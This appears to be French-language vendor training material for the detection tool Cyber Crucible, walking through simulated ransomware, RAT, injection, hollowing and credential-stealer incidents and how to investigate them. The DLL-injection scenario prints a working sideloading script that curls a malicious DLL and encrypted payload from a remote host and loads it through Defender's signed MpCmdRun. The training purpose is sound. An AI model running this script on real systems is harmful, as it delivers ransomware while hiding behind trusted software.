Scénarios

Scénario de formation - Injection de DLL

Nom du groupe

Données de formation - Injection de Dll (Hive)

Scénario

Dans ce scénario de formation, nous allons exécuter une charge utile de ransomware chiffrée via une injection de DLL dans un MS Defender signé. Une DLL personnalisée a été créée, comme le ferait un attaquant, qui déchiffre un faux fichier .log et l'exécute.

De nombreux outils de sécurité ignoreront simplement les processus démarrés par un parent signé, en particulier un parent antivirus signé, et encore plus particulièrement Defender. Les commandes Defender sont non seulement souvent autorisées, mais sont également souvent extrêmement privilégiées. Ici, la commande transformée en arme est une mise à jour de signature, quelque chose qui est non seulement courant, mais qui serait ignoré par n'importe quel type de recherche de malware. Nous démontrons ici que même avec un simple savoir-faire de type « living off the land », un attaquant peut exécuter des charges utiles privilégiées en déployant un simple script sans outils d'injection personnalisés sur la machine.

Voici le script exact exécuté sur la machine victime. Notez qu'il ne se passe rien d'explicitement malveillant ; la copie des exécutables Defender vers un répertoire de staging est faite uniquement pour mettre en évidence les fichiers C:\staging dans l'analyse des causes profondes.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Analyse ligne par ligne :

  1. Répertoire de staging créé

  2. Defender copié dans le répertoire de staging

  3. Le vrai mpclient.dll est renommé

  4. Le fichier « log » chiffré et la DLL malveillante sont téléchargés depuis un serveur distant

  5. Le vrai MpCmdRun signé est exécuté avec la tâche de mise à jour de signature

MpCmdRun.exe
MpCmdRun.exe

L'identifier

Automated Response
Réponse automatisée

En commençant par la réponse automatisée, les sonnettes d'alarme retentiraient dans votre esprit. Un processus jamais vu auparavant, avec un nom GUID aléatoire, s'est exécuté et a déclenché Cyber Crucible, et n'est pas signé. Cependant, notez que le chemin ici pourrait facilement être quelque chose de moins effrayant en apparence. Il est intentionnellement laissé comme C:\staging pour le mettre en évidence.

L'étape suivante immédiate serait de trouver ce fichier et de comprendre comment il est arrivé là. Il a probablement été supprimé automatiquement, mais nous pouvons consulter les créations de processus de Cyber Crucible pour voir qui l'a exécuté en premier lieu.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Tout comme décrit dans le scénario ci-dessus, un script PowerShell a démarré un exécutable Defender, qui a démarré notre processus effrayant. La charge utile malveillante a ensuite déclenché de nombreux processus enfants pour effectuer diverses tâches de staging. La visibilité sur ces processus en arrière-plan fournit souvent des informations sur les fichiers créés sur le système, les clés de registre modifiées, l'activité de propagation (worming), etc.

Otherwise “invisible behavior”
Autrement, un « comportement invisible »

À ce stade, l'attaque a été contenue par Cyber Crucible, mais l'analyse des processus associés est importante pour déterminer l'étendue des comportements malveillants. L'exécution de l'exe non signé seule paraît évidente lorsqu'elle est présentée par Cyber Crucible, mais bien souvent, les processus en arrière-plan démarrés par quelque chose d'aussi privilégié et protégé que Defender seraient simplement ignorés.

Documentation pertinente

Scénario de formation - Ransomware classique

Nom du groupe

Données de formation - Ransomware classique (Hive)

Scénario

Dans ce scénario de formation, nous allons exécuter une charge utile de ransomware « classique », s'exécutant en tant qu'administrateur sans aucun exploit. Cela simule l'exemple de base d'un utilisateur téléchargeant un logiciel malveillant via un lien de phishing, une clé USB malveillante, etc.

Bien qu'il s'agisse d'une méthode d'exécution très simple, si la charge utile est un zero-day, elle passera tout de même inaperçue par les produits de sécurité basés sur les signatures, et pourra causer des dommages irréparables avant que les produits comportementaux basés sur le cloud ne puissent obtenir une analyse en retour.

Identification

Automated Response
Réponse automatisée

Identifier cet incident est le plus simple de tous les exemples. Une fois que le nom de fichier suspect d'un fichier sans signature a été remarqué, il s'agit d'un signal d'alarme immédiat.

Pour confirmer la méthode d'exécution, nous pouvons examiner les créations de processus autour du moment de l'incident. Ce que nous voyons confirme qu'il n'y avait pas de méthode d'exploit complexe, ni même de script ! Comme pour les autres échantillons, les créations de processus enfants sont néanmoins intéressantes. Même si la méthode d'exécution du logiciel malveillant lui-même était évidente, de nombreux processus en arrière-plan sont lancés pour désactiver les protections et d'autres paramètres système.

À ce stade, l'attaque a été contenue par Cyber Crucible, mais l'analyse des processus associés est importante pour déterminer l'étendue des comportements malveillants. L'exécution de l'exe non signé seule semble évidente lorsqu'elle est présentée par Cyber Crucible, mais bien souvent, les processus en arrière-plan lancés par un élément aussi privilégié et protégé que Defender seraient tout simplement ignorés.

Documentation pertinente

Scénario de formation - Ransomware signé

Nom du groupe

Données de formation - Ransomware signé (Hive)

Scénario

Dans ce scénario de formation, nous allons exécuter une charge utile de ransomware, s'exécutant en tant qu'administrateur, et avec une signature personnalisée. Ce scénario n'est pas très différent de l'échantillon « classique », mais utilise un exécutable signé.

Souvent, les exécutables signés sont traités comme s'ils étaient vérifiés comme étant bénins. Bien qu'il soit vrai que les logiciels certifiés devraient tous être signés, cela n'est pas une relation bidirectionnelle, et nous ne devrions pas faire confiance aux éléments uniquement parce qu'ils sont signés. Malheureusement, cette erreur est parfois commise.

Identification

Mis à part le fait que ce nom de certificat est un peu étrange à des fins de formation, comment Cyber Crucible sait-il qu'il n'est pas digne de confiance ? Cyber Crucible joue la carte de la prudence et maintient une liste (spécifique au groupe) de certificats de confiance. Cela signifie que nous pouvons facilement détecter les certificats de test de signature, ainsi que les certificats officiels provenant de grandes autorités de certification comme digicerts.

Nous pouvons voir ci-dessus que même si le fichier « 321d0… » est signé, il n'est toujours pas fiable. Étant donné qu'aucune autre technique d'obfuscation complexe n'est utilisée pour déployer l'attaque, nous savons exactement d'où elle provient !

Pour confirmer la méthode d'exécution, nous pouvons examiner les créations de processus autour du moment de l'incident. Ce que nous voyons confirme qu'il n'y avait pas de méthode d'exploitation complexe, ni même de script ! Comme pour les autres échantillons, les créations de processus enfants sont néanmoins intéressantes. Même si la méthode d'exécution du logiciel malveillant lui-même était évidente, de nombreux processus en arrière-plan sont démarrés pour désactiver les protections et d'autres paramètres système.

À ce stade, l'attaque a été contenue par Cyber Crucible, mais l'analyse des processus associés est importante pour déterminer l'étendue des comportements malveillants. L'exécution de l'exe non signé seule semble évidente lorsqu'elle est mise en évidence par Cyber Crucible, mais bien souvent, les processus en arrière-plan démarrés par un élément aussi privilégié et protégé que Defender seraient simplement ignorés.

Documentation pertinente

Scénario de formation - Énumération de données

Nom du groupe

Training Data - RAT Exfil (Quasar)

Scénario

Dans ce scénario de formation, nous allons exécuter un RAT sur la machine victime, et l'utiliser pour énumérer les données présentes sur le disque, dans le but d'exfiltrer des fichiers.

Bien qu'il ne s'agisse pas d'une attaque par ransomware, les comportements utilisés par le RAT relèvent des comportements d'extorsion de données que Cyber Crucible détecte. La réponse à l'incident, ainsi que les données associées, ressemblent beaucoup à celles de la réponse à une charge utile de ransomware, car pour Cyber Crucible, tout cela revient au même !

Identification

Cet exécutable semble un peu étrange, mais il se trouve dans system32 et déclenche des réponses répétées. Une investigation plus approfondie est nécessaire pour comprendre ce qui s'est passé ici. Nous pouvons commencer par rechercher les chemins enfants liés au chemin de réponse.

Ici, nous obtenons davantage d'éléments pour reconstituer l'histoire. Un utilisateur a exécuté client-build.exe depuis le bureau, qui est le dropper du RAT. Ensuite, il semble qu'il y ait une élévation de privilèges via un svchost. Il manque toutefois encore quelques pièces au puzzle. Comment savons-nous qu'il s'agit d'un RAT et non simplement d'un élément interagissant avec svchost ?

Cela offre une bien meilleure visibilité ! Non seulement nous savons désormais avec certitude qu'une activité suspecte est en cours, ainsi que les chemins associés, mais nous savons également qu'une persistance est créée. Et nous constatons même que nous avons affaire à Quasar, un RAT bien connu.

Quasar est un RAT sophistiqué, qui exécute la majeure partie de ses comportements depuis son propre exécutable, préférant intégrer ses propres bibliothèques compilées statiquement plutôt que d'utiliser les utilitaires par défaut de Windows pour de nombreuses opérations. Mais même Quasar se fait repérer en utilisant des outils comme schtasks.

Documentation pertinente

Scénario d'entraînement - Injection de processus

Nom du groupe

Données d'entraînement - Injection de processus (Hive)

Scénario

Dans ce scénario d'entraînement, nous allons exécuter une charge utile de rançongiciel via une injection de processus dans un Svchost.exe déjà en cours d'exécution. Le Svchost en question est une opération système normale, en cours d'exécution depuis longtemps, signée, et sous le compte utilisateur LocalSystem.

Parce que le Svchost est « réel », il est souvent négligé. Les administrateurs savent que de nombreuses instances de Svchost sont exécutées, et tant que les arguments du programme semblent corrects, il est traité comme une « boîte noire » et laissé tranquille. Il s'agit d'une faille évidente, et souvent exploitée, dont les pirates tirent parti. Combinée à une charge utile de type zero-day, cette approche est très efficace pour dissimuler les attaques de rançongiciels.

L'identifier

svchost.exe’s Cert Signer(s)
Signataire(s) du certificat de svchost.exe

La situation autour de cette réponse automatisée n'est pas directement apparente à première vue. Les arguments de ligne de commande semblent valides pour Svchost, et l'exécutable est signé par Microsoft.

Le fait qu'il y ait un thread distant non fiable est suspect, mais nécessite une investigation plus approfondie. De nombreux threads distants se produisent sur un système, mais la plupart restent « fiables » car ils sont utilisés pour la communication inter-processus normale, le partage de données, etc.

C'est lorsqu'un thread distant est créé dans un processus de manière anormale, et qu'il est marqué comme non fiable, que nous devons examiner cela de plus près.

Innocent Process Injections that occur normally
Injections de processus innocentes qui se produisent normalement

Afin de trier les nombreuses injections de processus qui se produisent sur un système à un moment donné, nous pouvons nous référer à la fois à l'heure de l'incident et au pid du processus signalé. Normalement, nous commencerons avec quelques pids de réponses suspectes, et remonterons la chaîne des injections et des créations pour obtenir l'histoire complète.

Filtering out irrelevant injections
Filtrage des injections non pertinentes
The smoking gun!
La preuve irréfutable !

Nous savons déjà que personne ne devrait injecter dans Svchost de cette manière, mais certainement pas ce processus ! À partir de maintenant, nous pouvons traiter ce processus comme s'il s'agissait de « malware.exe » et voir qui l'a exécuté, puisque quelqu'un a dû le faire.

Processes started with pid 9168
Processus démarrés avec le pid 9168

Puisqu'il y a eu deux créations de processus avec le pid 9168, et qu'elles sont très différentes, nous pouvons affiner en fonction de l'horodatage et/ou du chemin enfant, et constater que cela a été créé par un explorer.exe. Cela signifie que quelqu'un a manuellement exécuté le processus d'injection, et il ne peut s'agir d'une coïncidence de comportement de Svchost qui aurait été signalé à tort.

Documentation pertinente

Scénario de formation - Modification de mémoire

Nom du groupe

Données de formation - SQL Process Hollowing (Hive)

Scénario

Dans ce scénario de formation, nous allons exécuter une charge utile de rançongiciel via le process hollowing, une technique d'injection / d'évasion où un processus est démarré puis voit son code exécutable modifié pour effectuer un autre comportement.

Les techniques opérant en mémoire figurent parmi les plus difficiles à détecter, et encore plus difficiles à traiter par une réponse automatisée, c'est pourquoi elles sont souvent ignorées. La mémoire est par définition volatile et en constante évolution. Identifier des modifications au sein de la mémoire d'un processus nécessite d'identifier les sections pertinentes, puis de les évaluer à différents moments du cycle de vie du processus afin de déterminer si elles ont été altérées.

Comment l'identifier

Les réponses liées à des modifications de mémoire sont de loin les plus difficiles à examiner. Comme la mémoire est éphémère, elle est traitée comme une « boîte noire » et généralement tenue à distance. La bonne nouvelle, c'est qu'à partir de Cyber Crucible 4.4.1.3, nous disposons désormais de la capacité de collecter automatiquement la télémétrie des échantillons de mémoire modifiés, en identifiant les plages de mémoire modifiées ainsi que les modifications exactes qui y ont été apportées.

Ce type d'analyse est toutefois très laborieux à réaliser. Une bonne première étape consiste donc à examiner les processus associés dans le tableau de bord afin de se faire une idée du comportement lié. Étant donné que le processus en question ici est un SQLCMD.exe signé, il devrait rapidement être évident de déterminer s'il s'agit d'un processus SQL bénin ou de quelque chose de plus préoccupant.

Jusqu'ici, tout va bien : il s'agit de processus SQL normaux, sans rien de nécessairement suspect ou non. Cela dit, il n'est jamais rassurant de voir des CMD impliqués dans des réponses automatisées. Approfondissons un peu plus.

La preuve irréfutable !
La preuve irréfutable !

Et voilà ! Nous pouvons continuer à faire défiler et constater de plus en plus de comportements de ce type. L'exécutable SQLCMD exécute toutes sortes de commandes pour désactiver des services, modifier des configurations, et tout ce qu'un rançongiciel ferait de manière préventive.

Nous pouvons ici avoir un petit aperçu de ce qui nous attend lorsque nous commençons à approfondir l'analyse des différences en mémoire. La plupart des techniques suffisamment sophistiquées pour exécuter un logiciel malveillant entièrement en mémoire vont également obfusquer leur code en mémoire. Cela rend l'analyse extrêmement difficile, mais l'accès à cette télémétrie supplémentaire s'est déjà révélé inestimable pour l'identification des incidents ainsi que pour l'ajustement des comportements.

Documentation pertinente

Scénario de formation - Vol d'identité

Nom du groupe

Données de formation - Vol d'identité (Redline)

Scénario

Dans ce scénario de formation, nous allons exécuter un logiciel malveillant de type « voleur » (stealer) afin d'exécuter la première étape d'une attaque, le vol d'identifiants. Contrairement au scénario RAT, celui-ci n'utilise pas les mêmes comportements qu'un rançongiciel. Il s'agit plutôt d'une partie des capacités croissantes de Cyber Crucible en matière de protection de l'identité.

Souvent, avant même qu'une extorsion ne se produise, les premières étapes qu'un attaquant effectue consistent à se propager dans le réseau et à obtenir l'accès à autant d'identifiants que possible. Dans certains cas, il s'agit d'une combinaison nom d'utilisateur/mot de passe AD, dans d'autres cas, il s'agit de clés API récupérées à partir de sessions de navigateur.

Identification

Pour l'instant, examinons de plus près à quoi ressemble un accès anormal pour l'administrateur.

Les accès aux données d'identité sont très clairs et nets : si les administrateurs ne reconnaissent pas un programme, celui-ci ne devrait pas accéder à ces données ! Cela révèle immédiatement quelque chose de suspect en train de se produire.

Quel est l'autre côté de la médaille que voit l'attaquant ? Du texte en clair !

Ces réponses ne sont pas des réponses comme lors des événements traditionnels d'extorsion de données, elles ne sont donc pas des actions de suspension automatisée. Il s'agit plutôt d'injections de processus, où Cyber Crucible n'est pas intervenu. À mesure que nos analyses se sont développées, nous avons appris à quoi ressemble un accès « normal » aux magasins d'identité pour divers types d'applications. D'ici 2023, nous activerons notre fonctionnalité de protection, qui restreindra l'accès, au niveau du noyau, à diverses formes de bases de données d'identité et n'autorisera que le logiciel associé à y accéder.

Documentation pertinente